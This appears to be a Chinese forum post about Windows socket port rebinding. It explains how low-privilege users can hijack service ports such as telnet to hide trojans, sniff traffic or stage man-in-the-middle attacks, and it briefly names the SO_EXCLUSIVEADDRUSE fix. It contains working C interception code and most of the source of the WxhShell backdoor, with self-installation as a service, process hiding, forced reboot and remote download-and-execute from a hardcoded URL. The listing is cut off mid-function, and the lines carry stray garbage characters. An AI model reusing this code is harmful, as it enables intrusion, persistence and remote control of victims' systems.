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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: W" Tj.oCUG  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 9^+E$V1@  
!tzk7D  
  saddr.sin_family = AF_INET; M]Hf>7p  
T@jv0/(+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6bDizS}  
dOT7;@   
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); i@`qam   
%(1Jt "9|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;w7s>(ITZ  
h_HPmh5  
  这意味着什么?意味着可以进行如下的攻击: mY[*(a  
B3 |G&Kg  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Xhs*nt%l  
-}1TT@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4V&(w, zl  
SM8f"H28  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >fi_:o  
)g?ox{Hol  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ]JR2Av  
1'!D   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 F%f)oq`B  
_lDNYpv  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 |%oI,d=ycv  
:6:,s#av  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 $0gGRCCG;  
@_$Un&eo  
  #include .ah[!O  
  #include |It&1fz}  
  #include ,8.$!Zia  
  #include    "l{{H&d  
  DWORD WINAPI ClientThread(LPVOID lpParam);   e3mFO+  
  int main() i}e/!IVR3  
  { O"X:3srJ`  
  WORD wVersionRequested; M._;3_)%/  
  DWORD ret; ]O>AD 6P  
  WSADATA wsaData; u9m ~1\R*  
  BOOL val; iR"6VO  
  SOCKADDR_IN saddr; ;X;(7  
  SOCKADDR_IN scaddr; @\r2%M-  
  int err; z=TO G P(  
  SOCKET s; |- <72$j  
  SOCKET sc; T`bUBrK6g`  
  int caddsize; zR4]buHnE  
  HANDLE mt; naM~>N  
  DWORD tid;   ~s yWORiXm  
  wVersionRequested = MAKEWORD( 2, 2 ); N!fjN >cw  
  err = WSAStartup( wVersionRequested, &wsaData ); <#wVQ\0C  
  if ( err != 0 ) { R$p(5>#\5  
  printf("error!WSAStartup failed!\n"); DheQcM  
  return -1; Zoy)2E{  
  } 18Vn[}]"  
  saddr.sin_family = AF_INET; 6L;]5)#  
   *aJO5&w<T  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了  |e<$  
9 p,O>I  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); T^F83Py<  
  saddr.sin_port = htons(23); S['cX ~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ol K+|nR  
  { +|x{?%.O  
  printf("error!socket failed!\n"); G`;\"9t5h  
  return -1; m[z $y  
  } (I`lv=R"j  
  val = TRUE; `v-O 4Pk  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 *\@RBJGF  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) JVGTmS[3  
  { `8r$b/6  
  printf("error!setsockopt failed!\n"); J$PlI  
  return -1; F9Af{*Jw?x  
  } 4K\o2p?4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; !9{UBAh  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O._\l?m  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R58NTPm  
%ZcS"/gf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 9|3sNFGX  
  { W/3sJc9  
  ret=GetLastError(); vvG"rU  
  printf("error!bind failed!\n"); %|%eGidu  
  return -1; 0@[*~H0{n  
  } 6#AEVRJKU@  
  listen(s,2); `x=$n5= 8  
  while(1)  !^8X71W|  
  { Dw.I<fns^B  
  caddsize = sizeof(scaddr); 5F!Qn\{u{  
  //接受连接请求 `*elzW  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ak-agH  
  if(sc!=INVALID_SOCKET) [2YPV\=  
  { 8;L;R ~Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PxQQfI>  
  if(mt==NULL) ,"KfZf;?  
  { ]Y-Y.&b7t  
  printf("Thread Creat Failed!\n"); |N^"?bSt  
  break; Qwt0~9n(  
  } ZJenwo  
  } x.4z)2MO  
  CloseHandle(mt); OrYN-A4{  
  } //;(KmU9  
  closesocket(s); F,A+O+  
  WSACleanup(); g$jTP#%b  
  return 0; )[J @s=  
  }   )iM( \=1ff  
  DWORD WINAPI ClientThread(LPVOID lpParam) }6BXa  
  { IuT)?S7O*k  
  SOCKET ss = (SOCKET)lpParam; ;c>"gW8  
  SOCKET sc; SO.u0!  
  unsigned char buf[4096]; j RcE241  
  SOCKADDR_IN saddr; kG{};Vm  
  long num; Y9|!= T%  
  DWORD val; 4'=Q:o*w`  
  DWORD ret; 8zpzVizDG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 "\O7_od-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '`|j{mBhG  
  saddr.sin_family = AF_INET; Ov<c1y;f  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 'l=>H#}<B  
  saddr.sin_port = htons(23); $8i`h}AM  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) R<Mc+{*>  
  { %8 D>aS U  
  printf("error!socket failed!\n"); g1|Py t{  
  return -1; t0jE\6r  
  } IG# wY  
  val = 100; t$%<eF@w  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }^0'IAXi  
  { %#rtNDi  
  ret = GetLastError(); 7K "1^  
  return -1; 7Mq{Py1  
  } bhGRD{=  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Y,GlAr s4  
  { tkR~(h  
  ret = GetLastError(); jL8A_'3B  
  return -1; Z5n-3h!+ED  
  } w|]Tt="   
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) *;9H\%  
  { -3i(N.)<;  
  printf("error!socket connect failed!\n"); AWi>(wk<  
  closesocket(sc); c+E\e]{  
  closesocket(ss); T7 "QwA  
  return -1; qD4s?j-9  
  } ~?Vod|>  
  while(1) E0Q6Ryn  
  { auc:|?H~1n  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 R6BbkYWrX  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Wh..QVv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 b@&uwSv  
  num = recv(ss,buf,4096,0); ~] V62^0  
  if(num>0) }~|`h1JF  
  send(sc,buf,num,0); Uz_p-J0  
  else if(num==0) =.;ib6M  
  break; Za1mI^ L1  
  num = recv(sc,buf,4096,0); [ i, [^  
  if(num>0) E"_{S.Wc  
  send(ss,buf,num,0); 1HKA`]D"p  
  else if(num==0) 0?8>{!I  
  break; R[v0T/  
  } 9#9bm  
  closesocket(ss); v0dzM/?*  
  closesocket(sc); qbsod  
  return 0 ; K<:%ofB"S  
  } c5$DHT @N"  
HEbL'fw^s  
>!@D^3PPA  
========================================================== p<H_]|7$7U  
1t^y?<)  
下边附上一个代码,,WXhSHELL ?k4Hk$V  
dp^PiyL  
========================================================== gJr)z7W'8  
)W 5g-@  
#include "stdafx.h" t`E5bWG  
]o]`X$n  
#include <stdio.h> XWAIW= .  
#include <string.h> Ewp2 1  
#include <windows.h> B G\)B  
#include <winsock2.h> )K@D4sl  
#include <winsvc.h> e-P{)L<s5  
#include <urlmon.h> H[p~1%Lq  
A r~/KRK  
#pragma comment (lib, "Ws2_32.lib") -rI7ihr*  
#pragma comment (lib, "urlmon.lib") M&V4|D  
M j[+h|e  
#define MAX_USER   100 // 最大客户端连接数 ;Us6:}s  
#define BUF_SOCK   200 // sock buffer SQ> Yf\  
#define KEY_BUFF   255 // 输入 buffer :t!J 9  
PvV\b<Pe+  
#define REBOOT     0   // 重启 :*,!gf  
#define SHUTDOWN   1   // 关机 ^|.T \  
zO\_^A|8H  
#define DEF_PORT   5000 // 监听端口 Bj2iYk_cLa  
!{CIP`P1  
#define REG_LEN     16   // 注册表键长度 [[^r;XKQ  
#define SVC_LEN     80   // NT服务名长度 0@b<?Ms9  
$peL1'Evo  
// 从dll定义API [&*irk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ^_Lnqk6  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9C,gJp}P  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NpZ'pBl  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 9ThsR&h3  
Qx E%C  
// wxhshell配置信息 ty~Sf-Pri  
struct WSCFG { d!:/n  
  int ws_port;         // 监听端口 w^&UMX}  
  char ws_passstr[REG_LEN]; // 口令 PSu]I?WF  
  int ws_autoins;       // 安装标记, 1=yes 0=no  dnC" `  
  char ws_regname[REG_LEN]; // 注册表键名 D$)F X(  
  char ws_svcname[REG_LEN]; // 服务名 N?{Zrff2"O  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 y'8T=PqY[t  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 \G v\&_  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 > `eo0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no faLfdUimJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Q+K]:c  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O}cfb4"  
_){u5%vv  
}; cwaR#-#  
2i!R>`  
// default Wxhshell configuration ~m=Z>4M  
struct WSCFG wscfg={DEF_PORT, ^Ff fc@=  
    "xuhuanlingzhe", (AZneK :*  
    1, ld(_+<e  
    "Wxhshell", / zNVJhC  
    "Wxhshell", :/=P6b;  
            "WxhShell Service",  8q9 ^  
    "Wrsky Windows CmdShell Service", w/o8R3 F  
    "Please Input Your Password: ", b_{+OqI  
  1, ` k I}p  
  "http://www.wrsky.com/wxhshell.exe", KS~Q[-F1P  
  "Wxhshell.exe" g=4P-i3   
    }; `O3#/1+  
h6LjReNo  
// 消息定义模块 t"%~r3{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; AM!P?${a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; av(qV$2  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 7eM6 B#rI  
char *msg_ws_ext="\n\rExit."; p + JOUW  
char *msg_ws_end="\n\rQuit."; R6;229e  
char *msg_ws_boot="\n\rReboot..."; \ :@!rM  
char *msg_ws_poff="\n\rShutdown..."; 0W6= '7  
char *msg_ws_down="\n\rSave to "; (0 t{  
Dy. |bUB!f  
char *msg_ws_err="\n\rErr!"; E"BW-<_!  
char *msg_ws_ok="\n\rOK!"; u];\v%b  
kH0kf-4\  
char ExeFile[MAX_PATH]; -6F\=  
int nUser = 0; u{W I 4n?  
HANDLE handles[MAX_USER]; :X9;KoJl-V  
int OsIsNt; GPs4:CIgG  
CWp>8@v  
SERVICE_STATUS       serviceStatus; [C 7X#|  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; &JLKHwi/  
NODE`VFu  
// 函数声明 ct*~\C6Ze  
int Install(void); U .^%7.  
int Uninstall(void); Q"pZPpl&  
int DownloadFile(char *sURL, SOCKET wsh); '2|mg<Ft  
int Boot(int flag); uh)f/)6  
void HideProc(void); CD?b.Cxai  
int GetOsVer(void); 6S%KUFB+e  
int Wxhshell(SOCKET wsl); vy5{Vm".4  
void TalkWithClient(void *cs); 'g)5vI~'  
int CmdShell(SOCKET sock); 25xt*30M  
int StartFromService(void); #CeWk$)m  
int StartWxhshell(LPSTR lpCmdLine); Pvkr$ou  
&{M-<M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \3U.;}0_X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 9ys[xOh WM  
>> -{AR0  
// 数据结构和表定义 `o+J/nc  
SERVICE_TABLE_ENTRY DispatchTable[] = W}(xE?9&  
{ sV~|9/r  
{wscfg.ws_svcname, NTServiceMain}, M _Lj5`  
{NULL, NULL} W7V#G(cpU  
}; sDHFZ:W  
=%FhY^-  
// 自我安装 _3KfY  
int Install(void) ~ebm,3?  
{ 1RQM-0W,  
  char svExeFile[MAX_PATH];  ,8p-EH  
  HKEY key; S^e e<%-  
  strcpy(svExeFile,ExeFile); #{bT=:3a  
+>mU4Fwp  
// 如果是win9x系统,修改注册表设为自启动 Z79Y$d>G<E  
if(!OsIsNt) { %. IW H9P7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |oOA;JC)(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pi*?fUg!W  
  RegCloseKey(key); F*B^#AZg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G"<} s mB  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); jvE&%|Ngw  
  RegCloseKey(key); Xdf;'|HO  
  return 0; %8% 0l*n'  
    } _32 o7}!x  
  } !| GD8i  
} =WFG[~8  
else { #)%dG3)e  
+N:M;uTS  
// 如果是NT以上系统,安装为系统服务 y7 W7270)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); PsS8b  
if (schSCManager!=0) zv\T;_  
{ y=y#*yn&  
  SC_HANDLE schService = CreateService kvt"7;(  
  ( (TGG?V  
  schSCManager, nfr..4,:  
  wscfg.ws_svcname, /$ueLa  
  wscfg.ws_svcdisp,  D z>7.'3  
  SERVICE_ALL_ACCESS, +JFE\>O  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $xj>j  
  SERVICE_AUTO_START, euh rEjwkH  
  SERVICE_ERROR_NORMAL, \"=@uqar2  
  svExeFile, o:/yme G  
  NULL, fJG!TQJ[Y  
  NULL, {f%x8t$  
  NULL, )d?L*X~y'  
  NULL, Y5Z<uD  
  NULL z6Yx )qBE<  
  ); ];}7 %3  
  if (schService!=0) {D8[pG%z  
  { V0$:t^^  
  CloseServiceHandle(schService); qc^qCGy!z  
  CloseServiceHandle(schSCManager); ATU]KL!{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V)r6bb{^  
  strcat(svExeFile,wscfg.ws_svcname); [E%Ov0OC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ..ht)Gex  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); p8u -3  
  RegCloseKey(key); RT=(vq @  
  return 0; L/J)OJe\  
    } D~<0CQ3n.  
  } }%eXGdC  
  CloseServiceHandle(schSCManager); 8 =<&9TmE  
} Y)v_O_`  
} 3HmJixy  
'St\$X  
return 1; m&r?z%  
} [mI;>q  
GCA?sFwo>  
// 自我卸载 |/35c0IM  
int Uninstall(void) {d,~=s0T  
{ 'd 6z^Z6  
  HKEY key; A@lY{e  
Z\M8DZW8Y  
if(!OsIsNt) { 7q _.@J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { m:XMF)tW  
  RegDeleteValue(key,wscfg.ws_regname); l+8G6?@]>  
  RegCloseKey(key); !@-g9z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { KF`@o@,  
  RegDeleteValue(key,wscfg.ws_regname); 8klu*  
  RegCloseKey(key); )y}W=Q>T  
  return 0; % g*AGu`  
  } o]*#|4-  
} 09u@-  
} )[hQK_e]  
else { .q7o7J%  
;7 Y4 v`m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )o8]MWT\;  
if (schSCManager!=0) pO_L,~<  
{ ({AqL#x`u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J'>i3e Lq  
  if (schService!=0) tO ^KCnL  
  { n~NOqvT <  
  if(DeleteService(schService)!=0) { a5xp[TlXn.  
  CloseServiceHandle(schService); g!`$bF=e  
  CloseServiceHandle(schSCManager); T"$yh2tSY  
  return 0; ENi@R\ p  
  } &ahZ_9Q  
  CloseServiceHandle(schService); !,< )y}L^)  
  } ?5g0#wqI  
  CloseServiceHandle(schSCManager); Jk!*j  
} 2aUy1*aM  
} YAf`Fnmw  
x7]Yn'^'  
return 1; &*#- %<=1  
} ! uyC$8V*l  
sC.aT(meJ  
// 从指定url下载文件 ,s,VOyr @F  
int DownloadFile(char *sURL, SOCKET wsh) ,2YkQ/ >  
{ KDX34Fr1  
  HRESULT hr; \{ui{8+G  
char seps[]= "/"; )tyhf(p6  
char *token; wd`lN,WiW  
char *file; !4f0VQI  
char myURL[MAX_PATH]; l4sFT)}-J  
char myFILE[MAX_PATH]; do1aH$Iw  
2= 6}! Y  
strcpy(myURL,sURL); IA XoEBlMs  
  token=strtok(myURL,seps); 80M"`6  
  while(token!=NULL) eD4o8[s  
  { *h>KeIB;  
    file=token; ]D;X"2I2'b  
  token=strtok(NULL,seps); ED={OZD8  
  } vA*Ud;%R  
MZX-<p+  
GetCurrentDirectory(MAX_PATH,myFILE); }G#TYF}  
strcat(myFILE, "\\"); 3i'L5f67  
strcat(myFILE, file); Xn'{g  
  send(wsh,myFILE,strlen(myFILE),0); 26,!HmtC  
send(wsh,"...",3,0); CcZ\QOet&C  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); lklMdsIdj  
  if(hr==S_OK) M 8BN'% S  
return 0; Ok=RhoZZ  
else iwl\&uNQU  
return 1; [y}0X^9,E  
HNRZ59Yyq  
} H7KcPN(0  
BQcrF{q  
// 系统电源模块 jz%%r Q(  
int Boot(int flag) i0%S6vmaS  
{ 7aJLC!  
  HANDLE hToken; ^$7Lmd.qI  
  TOKEN_PRIVILEGES tkp; ~EVD NnHEr  
a;Q.R  
  if(OsIsNt) { q.l" Y#d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Fx.hti  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); z;_fO>u:  
    tkp.PrivilegeCount = 1; D,rF?t>=S  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w34&m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `H5n _km  
if(flag==REBOOT) { dcgz<m  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >+w(%;i;  
  return 0; ,3t('SE  
} 8()L}@y  
else { hDp -,ag{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) n\#RI9#\  
  return 0; \/J7U|@Lt  
} yE(>R(^  
  } a+TlZE>8  
  else { q89#Ftkt  
if(flag==REBOOT) { ztNm,1pnQ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) `43`*=  
  return 0; 8Q&hhmOnz  
} wr/Z)e =^3  
else { ][|)qQ%V  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) meHAa`  
  return 0; ]E1aIt  
} Qo !/]\  
} ckXJ9>  
ik@g;>pQD  
return 1; MVW2 %6  
} 7T]}<aK<c[  
dsKEWZ =  
// win9x进程隐藏模块 3McBTa!  
void HideProc(void) \>8"r,hG|  
{ +1Ha,O k  
7(m4,l+(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vj7(6'Hg  
  if ( hKernel != NULL ) f-N:  
  { 2t3'"8xJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); em  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &wbe^Wp  
    FreeLibrary(hKernel); 7-"ml\z  
  } \$o!M1j  
uFM]4v3  
return; uUUj?%  
} T-)Ur/qp  
@;iW)a_M  
// 获取操作系统版本 6% @@~"  
int GetOsVer(void) }+K SZ,  
{ n{dl- P  
  OSVERSIONINFO winfo; fLj#+h-!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); t{\FV@R  
  GetVersionEx(&winfo); TbqED\5@9w  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `B+P$K<X  
  return 1; iV!o)WvG,F  
  else i]:T{2  
  return 0; 2f8fA'|O  
} 8Yr_$5R  
wf!?'*  
// 客户端句柄模块 ^zv0hGk2  
int Wxhshell(SOCKET wsl) NJfI9L  
{ U[/k=}76  
  SOCKET wsh; G3HmLz  
  struct sockaddr_in client; DBuvbq-  
  DWORD myID; MS,J+'2  
@B;2z_Y!l  
  while(nUser<MAX_USER) Bb^CukS:  
{ C0o 0 l>  
  int nSize=sizeof(client); `+[e]dH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -iu7/4!j  
  if(wsh==INVALID_SOCKET) return 1; ^YddVp  
A"t~ )  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); CA7ZoMB#  
if(handles[nUser]==0) hr&&"d {s  
  closesocket(wsh); &ah!g!o3  
else ;/$=!9^sZ  
  nUser++; D2o,K&V  
  } 3fJ GJW!zu  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); HS"E3s8  
d'~ kf#  
  return 0; 0z@ KkU{Z  
} a %"mgCB  
'!*,JG5_  
// 关闭 socket +H5= zf2  
void CloseIt(SOCKET wsh) gWm -}Nb4  
{ i1]*5;q  
closesocket(wsh); D9 ~jMcX  
nUser--; 8OoKP4,;  
ExitThread(0); xSFY8  
} VG*Tdaua~  
C~PrIM?  
// 客户端请求句柄 lf4V; |!^  
void TalkWithClient(void *cs) 4,CQJ  
{ w] b3,b  
~1&%,$fZ  
  SOCKET wsh=(SOCKET)cs; @= f2\hU  
  char pwd[SVC_LEN]; ~^((tT  
  char cmd[KEY_BUFF];  LAG*H  
char chr[1]; L&O!"[++  
int i,j; Az.(tJ X"  
X{A|{u=  
  while (nUser < MAX_USER) { zr~hGhfq  
'_& Xemz  
if(wscfg.ws_passstr) { q<mDs$^K  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /t=R~BJu  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )N`a4p  
  //ZeroMemory(pwd,KEY_BUFF); _-aQ.p ?T  
      i=0; +}H2|vP  
  while(i<SVC_LEN) { lub(chCE[  
_5'OQ'P2  
  // 设置超时 g 4,>cqRkq  
  fd_set FdRead; OfC0lb:c  
  struct timeval TimeOut; s&MfC\  
  FD_ZERO(&FdRead); U4]>8L  
  FD_SET(wsh,&FdRead); +yX\!H"  
  TimeOut.tv_sec=8; fHTqLYd-  
  TimeOut.tv_usec=0; 9%e& Z'l  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); >S4klW=*I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pI2g\cH>  
LaL.C^K  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); o7"2"( =>  
  pwd=chr[0]; mJT<  
  if(chr[0]==0xd || chr[0]==0xa) { ?bwF$Ku  
  pwd=0; O,(p><k$/  
  break; Ox;q +5  
  } %[(DFutJY+  
  i++; f\O)+Vc  
    } _" 0VM >  
7'pCFeA>=T  
  // 如果是非法用户,关闭 socket &{${Fq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); LB}y,-vX>  
} E)liuu! qI  
OZ\]6]L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Io]2)V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); x ;V7D5 q  
fx@Hd!nO~"  
while(1) { P$z8TDCH  
\a]JH\T)Q  
  ZeroMemory(cmd,KEY_BUFF); bl. y4  
eekp&H$'s  
      // 自动支持客户端 telnet标准   .a._WZF  
  j=0; ^E_`M:~  
  while(j<KEY_BUFF) { t5dk}sRF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MQc|j'vEY  
  cmd[j]=chr[0]; fpbb <Ro  
  if(chr[0]==0xa || chr[0]==0xd) { '"C$E922  
  cmd[j]=0; C'x?riJ/  
  break; ,c#IxB/0  
  } T_ ifDQX;  
  j++; icW?a9b&  
    } k fER  
ld58R  
  // 下载文件 f,GF3vu"  
  if(strstr(cmd,"http://")) { ax{+7  k  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;O=tSEe  
  if(DownloadFile(cmd,wsh)) p9]008C89  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9Z}Y2:l'  
  else .kWMr^ g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i=$##  
  } \tf \fa  
  else { [gm[mwZ  
2_lgy?OE`  
    switch(cmd[0]) { ,-7w\%*  
  +Bk d  
  // 帮助 C.I.f9s?R  
  case '?': { JjarMJr| D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); nb}*IExd  
    break; +*"u(7AV  
  } .6Jo1$+  
  // 安装 V_pWf5F  
  case 'i': { R$( FrbC  
    if(Install()) ceN*wkGyB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); emp*j@9  
    else L\d"|87lX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S]3K5Z|  
    break; R2k R   
    } #({0HFSC:j  
  // 卸载 ZuIr=`"j  
  case 'r': { Vae}:8'}  
    if(Uninstall()) Pg[XIfBva  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZdbZ^DUR<(  
    else ^`ah\L  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : vN'eL|#  
    break; -r%4,4  
    } c@d[HstBJ  
  // 显示 wxhshell 所在路径 1fBj21zG  
  case 'p': {  pv<$ o  
    char svExeFile[MAX_PATH]; 5S4kn.3  
    strcpy(svExeFile,"\n\r"); L{y%\:]  
      strcat(svExeFile,ExeFile); u 0M[B7Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ~#/NpKHT@A  
    break; J})G l  
    } f 7B)iI!  
  // 重启 ]AoRK=aH  
  case 'b': { 3!_XFV  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); aewVq@ngq!  
    if(Boot(REBOOT)) 0k"n;:KM8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?@"F\Bv<h  
    else { yPG,+uQ$.  
    closesocket(wsh); wZ7Opm<nt  
    ExitThread(0); o'Q"  
    } Q)eYJP=W  
    break; 'p3JYRT$  
    } R5M/Ho 4  
  // 关机 $X1T!i[.X  
  case 'd': { 8Jnb/A}  
